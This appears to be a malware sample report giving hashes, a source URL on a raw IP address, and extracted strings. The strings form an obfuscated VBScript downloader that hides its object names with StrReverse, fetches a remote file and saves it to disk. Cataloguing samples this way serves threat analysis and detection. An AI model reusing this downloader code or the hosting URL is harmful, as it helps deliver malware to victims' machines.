Sample details: 3c50f486784ea31c29032d70978febd9 --

Hashes
MD5: 3c50f486784ea31c29032d70978febd9
SHA1: 009e411a2287c6012a3a96762601dc91bc650845
SHA256: d446b7184f9fe3ca9a0dcad728280cd8fbae68182816f9e134d58306eefe7d69
SSDEEP: 12:YAEotqv85M3UjGHlyNsBgfKNYmUjqtqiLn/fFYk:PEotqv8MoG6KNYmUjqtqm/fF5
Details
File Type: ASCII
Yara Hits
Source
http://35.229.123.217/modulo2019/foto.txt
Strings
		Sub CuqUXKMXa2B3M0E3G0(aCeAVfUC0G6II1J4MH,eNfCccjgCKM4I70651)
Set acaXDXImAH56HG8CJG = CreateObject(StrReverse("PTTHLMX.2LMXSM"))
acaXDXImAH56HG8CJG.open "GET", aCeAVfUC0G6II1J4MH, False
acaXDXImAH56HG8CJG.send
If acaXDXImAH56HG8CJG.Status = 200 Then 
Dim dFECvfrIC0K0CN0NL1
Set dFECvfrIC0K0CN0NL1 = CreateObject(StrReverse("maertS.BDODA"))
With dFECvfrIC0K0CN0NL1
.Type = 1
.Write acaXDXImAH56HG8CJG.responseBody
.SaveToFile eNfCccjgCKM4I70651
.Close 
End With 
set dFECvfrIC0K0CN0NL1 = Nothing 
End If 
End Sub